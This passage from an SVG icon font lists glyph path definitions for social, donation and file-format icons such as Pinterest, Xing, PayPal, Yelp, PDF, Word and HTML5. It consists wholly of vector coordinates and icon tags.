	C 362.734,159.63, 320.795,78.894, 245.719,84.698z" data-tags="pinterest, social" />
<glyph unicode="&#xe1a7;" d="M 373.341,384L 74.659,384 C 33.424,384,0,350.566,0,309.325l0-298.651 C0-30.567, 33.424-64, 74.659-64l 298.682,0 
	C 414.575-64, 448-30.567, 448,10.674L 448,309.325 C 448,350.566, 414.575,384, 373.341,384z M 245.719,84.698
	c-20.353,1.581-28.893,11.662-44.846,21.354c-8.776-46.015-19.496-90.133-51.248-113.176
	c-9.802,69.548, 14.391,121.784, 25.624,177.237c-19.156,32.246, 2.306,97.14, 42.709,81.145
	c 49.711-19.665-43.050-119.878, 19.22-132.394c 65.021-13.067, 91.564,112.813, 51.25,153.748
	c-58.257,59.109-169.574,1.348-155.886-83.281c 3.331-20.69, 24.707-26.967, 8.542-55.52c-37.284,8.265-48.409,37.67-46.977,76.874
	c 2.305,64.17, 57.655,109.097, 113.175,115.31c 70.212,7.859, 136.109-25.772, 145.209-91.821
	C 362.734,159.63, 320.795,78.894, 245.719,84.698z" data-tags="pinterest, social" />
<glyph unicode="&#xe1a8;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 136.403,92.28l-48.678,0 
	c-2.932,0-5.122,1.316-6.362,3.318c-1.284,2.082-1.349,4.781,0,7.467l 51.721,91.274c 0.055,0.1, 0.055,0.166,0,0.277l-32.913,56.977
	c-1.361,2.711-1.56,5.387-0.277,7.467c 1.24,2.013, 3.706,3.042, 6.638,3.042l 48.678,0 c 7.468,0, 11.13-4.812, 13.553-9.127
	c0,0, 33.268-58.039, 33.468-58.359c-1.97-3.474-52.552-92.934-52.552-92.934C 147.191,97.192, 143.684,92.28, 136.403,92.28z
	 M 366.587,318.14L 258.808,127.573c-0.066-0.101-0.066-0.223,0-0.321l 68.627-125.383c 1.361-2.699, 1.394-5.443, 0.099-7.522
	c-1.238-2.002-3.529-3.108-6.46-3.108l-48.624,0 c-7.457,0-11.185,4.955-13.598,9.271c0,0-68.992,126.565-69.169,126.895
	c 3.451,6.107, 108.322,192.083, 108.322,192.083c 2.611,4.692, 5.764,9.271, 13.032,9.271l 49.178,0 c 2.932,0, 5.233-1.107, 6.471-3.109
	C 367.97,323.572, 367.937,320.829, 366.587,318.14z" data-tags="xing, social" />
<glyph unicode="&#xe1a9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 151.148,103.822l-40.484,0 
	c-2.439,0-4.261,1.091-5.293,2.753c-1.067,1.729-1.122,3.966,0,6.195l 43.017,75.718c 0.045,0.083, 0.045,0.138,0,0.23l-27.373,47.267
	c-1.132,2.248-1.298,4.468-0.23,6.194c 1.032,1.67, 3.082,2.524, 5.521,2.524l 40.484,0 c 6.212,0, 9.257-3.992, 11.274-7.572
	c0,0, 27.668-48.147, 27.833-48.412c-1.639-2.883-43.706-77.096-43.706-77.096C 160.12,107.897, 157.203,103.822, 151.148,103.822z
	 M 342.584,291.19L 252.948,133.102c-0.054-0.085-0.054-0.187,0-0.268l 57.075-104.016c 1.133-2.238, 1.16-4.515, 0.084-6.24
	c-1.031-1.66-2.935-2.578-5.373-2.578l-40.44,0 c-6.202,0-9.304,4.112-11.308,7.691c0,0-57.379,104.996-57.526,105.269
	c 2.87,5.067, 90.088,159.349, 90.088,159.349c 2.17,3.892, 4.792,7.691, 10.839,7.691l 40.899,0 c 2.44,0, 4.355-0.918, 5.383-2.579
	C 343.737,295.694, 343.708,293.42, 342.584,291.19z" data-tags="xing, social" />
<glyph unicode="&#xe1aa;" d="M 160.808,384C 54.339,384,0,322.679,0,208.188l0,0l0-79.977 l0-160.226 l 104.296,104.4L 104.296,194.402 c0,47.432, 12.569,77.615, 54.739,84.391
	l0,0c 14.731,2.88, 45.391,1.872, 64.884,1.872l0,0l0-72.448 c0-0.661, 0.091-1.84, 0.26-2.444l0,0c 0.818-2.933, 3.469-5.082, 6.613-5.088
	l0,0c 1.777-0.004, 3.442,0.921, 5.158,2.612l0,0L 416.691,383.973L 295.367,384L 160.808,384 z M 343.704,247.611l0-122.014 
	c0-47.431-12.572-77.619-54.738-84.391l0,0c-14.731-2.88-45.393-1.872-64.887-1.872l0,0l0,72.447 c0,0.656-0.090,1.839-0.26,2.442
	l0,0c-0.816,2.936-3.466,5.085-6.612,5.088l0,0c-1.778,0.004-3.441-0.924-5.158-2.61l0,0L 31.308-63.971L 152.63-64l 134.561,0 
	C 393.658-64, 448-2.676, 448,111.81l0,0l0,79.981 L 448,352.010 L 343.704,247.611z" data-tags="flattr, donate, social" />
<glyph unicode="&#xe1ab;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 411.221-27.225
	C 401.048-37.397, 387.594-43, 373.337-43L 74.675-43 c-14.257,0-27.715,5.603-37.891,15.777C 26.605-17.047, 21-3.587, 21,10.676
	L 21,309.323 c0,14.256, 5.606,27.712, 15.786,37.892C 46.965,357.394, 60.421,363, 74.675,363l 298.662,0 c 3.105,0, 6.169-0.282, 9.173-0.803
	l-92.443-126.901l-42.894,42.897c-6.040,6.041-14.074,9.368-22.621,9.368c-8.545,0-16.579-3.326-22.626-9.368l-19.475-19.476
	c-1.093,1.489-2.227,2.959-3.447,4.385c-26.534,31.009-73.181,34.654-104.19,8.112c-31.013-26.529-34.644-73.172-8.11-104.186
	c 6.086-7.117, 13.24-12.774, 21.013-16.972c 0.158-7.98, 3.263-15.914, 9.335-21.991L 201.924,23.205
	c 6.044-6.046, 14.080-9.377, 22.627-9.377c 8.55,0, 16.584,3.332, 22.621,9.376l 104.868,104.861c 6.046,6.045, 9.377,14.080, 9.377,22.627
	s-3.331,16.584-9.376,22.626l-12.065,12.066L 427,261.921l0-251.245 C 427-3.589, 421.397-17.049, 411.221-27.225z M 192.673,239.242
	l 24.098,24.099c 2.078,2.076, 4.841,3.22, 7.78,3.22c 2.937,0, 5.698-1.143, 7.772-3.216l 45.227-45.23l-49.157-67.481
	c-4.854-5.414-9.131-2.566-10.818-0.554c-0.579,0.682-12.113,15.782-27.026,35.342
	C 197.953,202.37, 198.755,221.653, 192.673,239.242z M 218.768,89.984c0,0, 3.809-3.535, 8.013-0.12l 97.089,81.927l 13.325-13.325
	c 2.078-2.077, 3.224-4.838, 3.224-7.775s-1.145-5.698-3.225-7.777L 232.319,38.049c-2.074-2.076-4.832-3.221-7.767-3.221
	c-2.936,0-5.698,1.145-7.777,3.225l-103.801,103.792c 12.083-1.625, 24.532-0.274, 36.158,4.147L 218.768,89.984z" data-tags="foursquare, social" />
<glyph unicode="&#xe1ac;" d="M 447.864,384l-49.472,0 L 290.067,235.296l-42.894,42.897c-6.040,6.041-14.074,9.368-22.621,9.368
	c-8.545,0-16.579-3.326-22.626-9.368l-19.475-19.476c-1.093,1.489-2.227,2.959-3.447,4.385
	c-26.534,31.009-73.181,34.654-104.19,8.112c-31.013-26.529-34.644-73.172-8.11-104.186c 6.086-7.117, 13.24-12.774, 21.013-16.972
	c 0.158-7.98, 3.263-15.914, 9.335-21.991L 201.924,23.205c 6.044-6.046, 14.080-9.377, 22.627-9.377c 8.55,0, 16.584,3.332, 22.621,9.376
	l 104.868,104.861c 6.046,6.045, 9.377,14.080, 9.377,22.627s-3.331,16.584-9.376,22.626l-12.065,12.066l 107.888,91.039L 447.865,384 z
	 M 216.772,263.341c 2.078,2.076, 4.841,3.22, 7.78,3.22c 2.937,0, 5.698-1.143, 7.772-3.216l 45.227-45.23l-49.157-67.481
	c-4.854-5.414-9.131-2.566-10.818-0.554c-0.579,0.682-12.113,15.782-27.026,35.342c 7.404,16.949, 8.206,36.232, 2.124,53.82
	L 216.772,263.341z M 337.193,158.467c 2.078-2.077, 3.224-4.838, 3.224-7.775s-1.145-5.698-3.225-7.777L 232.319,38.049
	c-2.074-2.076-4.832-3.221-7.767-3.221c-2.936,0-5.698,1.145-7.777,3.225l-103.801,103.792c 12.083-1.625, 24.532-0.274, 36.158,4.147
	l 69.637-56.008c0,0, 3.809-3.535, 8.013-0.12l 97.089,81.927L 337.193,158.467z" data-tags="foursquare, social" />
<glyph unicode="&#xe1ad;" d="M 385.277,326.786c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
	c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
	l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
	C 408.395,341.473, 341.317,384, 283.65,384L 87.090,384 L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 
	c 78.859,0, 144.785,48.597, 162.425,131.222C 459.142,268.65, 426.54,309.885, 385.277,326.786z M 184.775,302.589l 56.495,0 
	c 28.259,0, 47.076-24.298, 38.844-54.668c-7.059-30.38-36.481-54.677-65.905-54.677l-54.144,0 L 184.775,302.589z" data-tags="paypal, donate" />
<glyph unicode="&#xe1ae;" d="M 385.277,326.786c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
	c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
	l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
	C 408.395,341.473, 341.317,384, 283.65,384L 87.090,384 L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 
	c 78.859,0, 144.785,48.597, 162.425,131.222C 459.142,268.65, 426.54,309.885, 385.277,326.786z M 280.115,247.921
	c-6.004-25.839-28.187-47.268-52.787-53.099l 13.448,59.51l 40.681,0 C 281.138,252.229, 280.703,250.093, 280.115,247.921z M 184.775,302.589
	l 56.495,0 c 16.082,0, 29.097-7.877, 35.818-20.256l-58.692,0 l-20.132-89.088l-38.199,0 L 184.775,302.589z" data-tags="paypal, donate" />
<glyph unicode="&#xe1af;" d="M 283.65,356c 12.395,0, 24.902-2.539, 36.166-7.343c 11.849-5.052, 21.579-12.217, 28.921-21.294
		c 14.699-18.175, 18.829-42.933, 12.272-73.595c-7.134-33.415-23.799-61.233-48.195-80.443c-23.781-18.726-53.812-28.625-86.847-28.625
		l-82.368,0 l-22.658,0 l-4.726-22.159L 92.693,12.256L 72.613,12.256 l-6.1,0 L 34.758,12.256 L 109.647,356L 283.65,356  M 125.031,165.244l 35.034,0 l 54.144,0 
		c 20.753,0, 41.779,7.949, 59.202,22.384c 16.984,14.071, 28.995,33.041, 33.861,53.462c 6.082,22.979, 2.026,46.004-11.162,63.242
		c-12.764,16.686-32.753,26.256-54.839,26.256l-56.495,0 l-22.378,0 l-4.933-21.828l-24.711-109.345L 125.031,165.244 M 283.65,384L 87.090,384 
		L0-15.744l 66.514,0 L 56-64l 115.351,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
		c 14.751,68.985-17.852,110.22-59.114,127.122c 11.243-5.502, 21.041-13.338, 28.22-22.961c 15.11-20.256, 19.353-47.85, 12.616-82.016
		c-6.808-34.574-22.057-63.759-44.26-84.894c-4.061-4.245-8.41-8.201-13.039-11.848c-23.781-18.726-53.812-28.625-86.847-28.625
		l-5.299,0 L 176.94,96.443 L 148.693-36l-57.936,0 l 4.413,20.256l 20.181,0 l 28.247,132.443l 82.368,0 c 78.859,0, 144.785,48.597, 162.425,131.222
		C 408.395,341.473, 341.317,384, 283.65,384L 283.65,384z M 160.065,193.244l 24.711,109.345l 56.495,0 c 28.259,0, 47.076-24.298, 38.844-54.668
		c-7.059-30.38-36.481-54.677-65.905-54.677L 160.065,193.244 L 160.065,193.244z" data-tags="paypal, donate" />
<glyph unicode="&#xe1b0;" d="M 266.383,98.108c-7.561-7.624-1.167-21.494-1.167-21.494l 56.914-95.033c0,0, 9.345-12.53, 17.441-12.53
		c 8.133,0, 16.167,6.681, 16.167,6.681l 44.994,64.316c0,0, 4.532,8.114, 4.637,15.222c 0.163,10.109-15.074,12.877-15.074,12.877
		l-106.526,34.209C 283.769,102.354, 273.332,105.124, 266.383,98.108zM 260.983,146.007c 5.451-9.244, 20.487-6.55, 20.487-6.55l 106.285,31.065c0,0, 14.484,5.891, 16.552,13.745
		c 2.030,7.855-2.389,17.335-2.389,17.335l-50.793,59.829c0,0-4.402,7.565-13.535,8.326c-10.069,0.857-16.266-11.33-16.266-11.33
		l-60.056-94.504C 261.268,163.921, 255.959,154.509, 260.983,146.007zM 210.767,182.852c 12.516,3.082, 14.502,21.264, 14.502,21.264l-0.851,151.318c0,0-1.887,18.666-10.275,23.727
		c-13.156,7.981-17.055,3.814-20.823,3.257L 105.079,349.629c0,0-8.642-2.859-13.143-10.070c-6.427-10.216, 6.531-25.175, 6.531-25.175
		L 190.186,189.365C 190.186,189.365, 199.237,180.004, 210.767,182.852zM 188.976,121.615c 0.316,11.671-14.013,18.681-14.013,18.681L 80.114,188.213c0,0-14.055,5.795-20.878,1.757
		c-5.228-3.089-9.86-8.68-10.313-13.621l-6.177-76.043c0,0-0.926-13.175, 2.489-19.171c 4.836-8.506, 20.75-2.582, 20.75-2.582
		l 110.73,24.475C 181.016,105.919, 188.559,106.179, 188.976,121.615zM 216.51,80.575c-9.505,4.881-20.879-5.228-20.879-5.228l-74.142-81.623c0,0-9.25-12.481-6.899-20.147
		c 2.216-7.183, 5.886-10.753, 11.077-13.268l 74.459-23.505c0,0, 9.027-1.875, 15.863,0.106c 9.704,2.813, 7.916,18.004, 7.916,18.004
		l 1.683,110.513C 225.587,65.426, 225.208,76.074, 216.51,80.575z" data-tags="yelp, social" />
<glyph unicode="&#xe1b1;" d="M 233.899,374.1C 228.455,379.545, 217.7,384, 210,384L 42,384 c-7.7,0-14-6.3-14-14l0-420 c0-7.7, 6.3-14, 14-14l 336,0 c 7.7,0, 14,6.3, 14,14L 392,202 
		c0,7.7-4.455,18.455-9.899,23.899L 233.899,374.1z M 364-36L 56-36 L 56,356 l 153.632,0 c 1.276-0.21, 3.678-1.205, 4.729-1.959l 147.681-147.68
		c 0.753-1.051, 1.748-3.454, 1.958-4.729L 364-36 zM 378,384l-84,0 c-7.7,0-9.545-4.455-4.101-9.899l 92.201-92.201C 387.545,276.455, 392,278.3, 392,286L 392,370 C 392,377.7, 385.7,384, 378,384
		z" data-tags="libreoffice, file" />
<glyph unicode="&#xe1b2;" d="M 368.38,126.102c-5.971,5.883-19.212,8.998-39.363,9.263c-13.64,0.15-30.057-1.051-47.324-3.469
		c-7.732,4.462-15.703,9.316-21.957,15.163c-16.827,15.713-30.873,37.525-39.627,61.51c 0.571,2.24, 1.056,4.209, 1.508,6.218
		c0,0, 9.479,53.839, 6.969,72.041c-0.346,2.496-0.557,3.221-1.228,5.161l-0.823,2.115c-2.579,5.947-7.633,12.247-15.56,11.903
		l-4.648,0.148l-0.128,0.003c-8.838,0-16.041-4.52-17.931-11.276c-5.748-21.19, 0.183-52.89, 10.93-93.948l-2.751-6.688
		c-7.695-18.758-17.338-37.651-25.847-54.319l-1.106-2.167c-8.951-17.517-17.073-32.386-24.436-44.985l-7.602-4.020
		c-0.553-0.292-13.582-7.183-16.637-9.032c-25.925-15.48-43.103-33.049-45.953-46.995c-0.907-4.449-0.232-10.144, 4.381-12.781
		l 7.353-3.7c 3.189-1.598, 6.553-2.407, 9.999-2.407c 18.464,0, 39.9,23, 69.43,74.535
		c 34.094,11.098, 72.911,20.325, 106.931,25.414c 25.925-14.599, 57.812-24.739, 77.937-24.739c 3.573,0, 6.655,0.34, 9.158,1.004
		c 3.86,1.022, 7.113,3.223, 9.097,6.209c 3.905,5.877, 4.696,13.97, 3.636,22.258C 372.47,120.985, 370.506,124.026, 368.38,126.102z
		 M 92.595,27.854c 3.367,9.206, 16.695,27.407, 36.402,43.556c 1.239,1.004, 4.291,3.864, 7.085,6.52
		C 115.475,45.063, 101.674,31.963, 92.595,27.854z M 209.315,296.637c 5.935,0, 9.312-14.96, 9.592-28.986
		c 0.28-14.026-3-23.87-7.069-31.154c-3.37,10.784-4.999,27.781-4.999,38.895C 206.839,275.393, 206.591,296.637, 209.315,296.637z
		 M 174.498,105.096c 4.134,7.401, 8.436,15.206, 12.832,23.484c 10.715,20.263, 17.482,36.118, 22.522,49.151
		c 10.023-18.237, 22.507-33.74, 37.181-46.162c 1.831-1.55, 3.77-3.107, 5.807-4.659C 222.998,121.006, 197.206,113.825, 174.498,105.096z
		 M 362.645,106.777c-1.817-1.137-7.024-1.794-10.372-1.794c-10.809,0-24.181,4.941-42.93,12.979
		c 7.205,0.533, 13.808,0.804, 19.731,0.804c 10.842,0, 14.052,0.047, 24.653-2.656S 364.463,107.914, 362.645,106.777zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-pdf, file, format, pdf" />
<glyph unicode="&#xe1b3;" d="M 301.971,177.639c-26.542,12.535-60.363,15.059-85.24-2.646c 30.249,2.889, 63.419-2.117, 85.359-24.992
			c 21,24.098, 54.3,28.615, 84.419,26.133C 361.358,192.822, 328.226,190.582, 301.971,177.639zM 291.221,118.984c-29.915,0.69-58.815-10.138-83.606-26.296c-46.889,19.945-106.197,16.242-146.126-17.055
			c 11.519,0.409, 22.753,3.258, 34.149,4.721c 41.642,4.151, 86.007-6.187, 117.474-34.923c 13.025,19.050, 31.344,34.231, 52.348,43.716
			c 27.595,13.352, 58.695,14.737, 88.734,15.103C 335.955,116.785, 312.799,119.106, 291.221,118.984zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-openoffice, file, format, openoffice, open office" />
<glyph unicode="&#xe1b4;" d="M 279.903,175.797L 299.246,175.797L 276.928,76.844L 247.91,215.974L 201.295,215.974L 167.557,76.844L 142.263,215.974L 93.528,215.974L 143.006-7.975L 190.622-7.975L 224.001,124.46L 253.863-7.975L 297.76-7.975L 354.473,215.974L 279.903,215.974 	
		zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-word, file, format, word, docx" />
<glyph unicode="&#xe1b5;" d="M 325.075,216L 265.884,216L 224.001,154.298L 182.115,216L 122.926,216L 193.872,109.922L 113.821-8L 228.551-8L 228.551,32.065L 202.058,32.065L 224.001,64.874L 272.737-8L 334.18-8L 254.128,109.922 	zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-excel, file, format, excel, xlc" />
<glyph unicode="&#xe1b6;" d="M 182,328L 224,328L 224,300L 182,300zM 140,300L 182,300L 182,272L 140,272zM 182,272L 224,272L 224,244L 182,244zM 140,244L 182,244L 182,216L 140,216zM 182,216L 224,216L 224,188L 182,188zM 140,188L 182,188L 182,160L 140,160zM 182,160l0-28 l-42,0 l0-98 c0-7.732, 6.268-14, 14-14l 56,0 c 7.732,0, 14,6.268, 14,14L 224,160 L 182,160 z M 210,48l-56,0 l0,28 l 56,0 L 210,48 zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-zip, zip" />
<glyph unicode="&#xe1b7;" d="M 84,160l 84,0 l0-28 L 84,132 L 84,160 z M 84,104l 84,0 l0-28 L 84,76 L 84,104 z M 84,48l 84,0 l0-28 L 84,20 L 84,48 z M 395.252,296.749l-62.503,62.502
	C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 c 19.25,0, 35,15.75, 35,35L 420,237 
	C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
	c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 c0,3.794, 3.206,7, 7,7
	l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 zM 252,76 L 334.596,76 C 328.11,44.048 299.865,20 266,20 C 227.34,20 196,51.34 196,90 C 196,123.865 220.049,152.11 252,158.597 L 252,76 ZM 294,188 C 332.66,188 364,156.66 364,118 C 364,113.206 363.515,108.524 362.596,104 L 280,104 L 280,186.596 C 284.524,187.515 289.206,188 294,188 Z" data-tags="file-powerpoint" />
<glyph unicode="&#xe1b8;" d="M 196,132L 168,160L 84,76L 168-8L 196,20L 140,76 	zM 252,20L 280-8L 364,76L 280,160L 252,132L 308,76 	zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-xml, file, format, code, html, xml" />
<glyph unicode="&#xe1b9;" d="M 168,116.492L 168,166.466 c0,6.619, 2.929,12.878, 8.249,17.625c 5.32,4.746, 12.334,7.361, 19.751,7.361l0,24.986 
		c-30.8,0-56-22.488-56-49.972l0-37.479 c0-6.9-6.268-12.494-14-12.494l-14,0 l0-24.986 l 14,0 c 7.732,0, 14-5.596, 14-12.494l0-37.483 
		c0-27.481, 25.2-49.969, 56-49.969l0,24.986 c-7.417,0-14.432,2.615-19.751,7.361c-5.319,4.748-8.249,11.005-8.249,17.622l0,49.977 
		c0,6.899-6.268,12.492-14,12.492C 161.732,104, 168,109.596, 168,116.492zM 280,91.508l0-49.977 c0-6.617-2.929-12.874-8.249-17.622c-5.319-4.747-12.333-7.361-19.751-7.361l0-24.986 
		c 30.801,0, 56,22.488, 56,49.969l0,37.483 c0,6.9, 6.268,12.494, 14,12.494l 14,0 l0,24.986 l-14,0 c-7.732,0-14,5.596-14,12.494L 308,166.466 
		c0,27.485-25.199,49.972-56,49.972l0-24.986 c 7.419,0, 14.432-2.615, 19.751-7.363c 5.32-4.746, 8.249-11.006, 8.249-17.624l0-49.975 
		c0-6.898, 6.268-12.492, 14-12.492C 286.269,104, 280,98.404, 280,91.508zM 395.252,296.749l-62.503,62.502C 319.137,372.863, 292.25,384, 273,384L 63,384 C 43.75,384, 28,368.25, 28,349l0-378 c0-19.25, 15.75-35, 35-35l 322,0 
		c 19.25,0, 35,15.75, 35,35L 420,237 C 420,256.25, 408.863,283.138, 395.252,296.749z M 375.453,276.95c 1.369-1.369, 2.734-3.051, 4.060-4.95L 308,272 L 308,343.512 
		c 1.899-1.326, 3.58-2.691, 4.95-4.060L 375.453,276.95z M 392-29c0-3.794-3.206-7-7-7L 63-36 c-3.794,0-7,3.206-7,7L 56,349 
		c0,3.794, 3.206,7, 7,7l 210,0 c 2.114,0, 4.486-0.267, 7-0.745L 280,244 l 111.254,0 c 0.479-2.514, 0.745-4.885, 0.745-7L 392-29 z" data-tags="file-css, file, format, code, css" />
<glyph unicode="&#xe1ba;" d="M 26.485,384l 35.938-403.213L 223.754-64l 161.754,44.854L 421.515,384L 26.485,384 z M 343.276,252.125l-0.171,0 L 154.039,252.125 l 4.507-50.641
	L 338.783,201.485 l-13.581-151.817L 223.991,21.591l-0.101-0.034l-0.067,0 l-0.053,0 l-101.313,28.111l-6.926,77.662l 49.654,0 l 3.521-39.477
	l 55.065-14.838l 0.122,0.034l 55.096,14.871l 5.718,64.116L 113.32,152.036 L 99.979,301.573l 247.719,0 L 343.276,252.125z" data-tags="html5, w3c" />
<glyph unicode="&#xe1bb;" d="M 26.485,384l 35.938-403.213L 223.754-64l 161.754,44.854L 421.515,384L 26.485,384 z M 354.708,6.514L 224.672-29.525l0-0.204 
		l-0.34,0.102l-0.342-0.102L 223.99-29.525 l-130.035,36.040L 63.225,351.040l 322.217,0 L 354.708,6.514zM 284.705,152.036L 278.987,87.919L 223.89,73.048L 223.77,73.014L 168.705,87.852L 165.183,127.329L 115.531,127.329L 122.457,49.668L 223.77,21.557L 223.822,21.557L 223.89,21.557L 223.99,21.591L 325.203,49.668L 338.783,201.486L 158.547,201.486L 154.040,252.125L 343.102,252.125L 343.274,252.125L 347.698,301.574L 99.978,301.574L 113.32,152.036 	z" data-tags="html5, w3c" />
<glyph unicode="&#xe1bc;" d="M 66.67,362.772L 51.637,287.554L 357.777,287.554L 348.203,238.968L 41.87,238.968L 27.043,163.763L 333.154,163.763L 316.084,77.984L 192.704,37.112L 85.779,77.984L 93.097,115.19L 17.892,115.19L0,24.911L 176.849-42.772L 380.726,24.911L 448,362.772 z" data-tags="css3, w3c" />
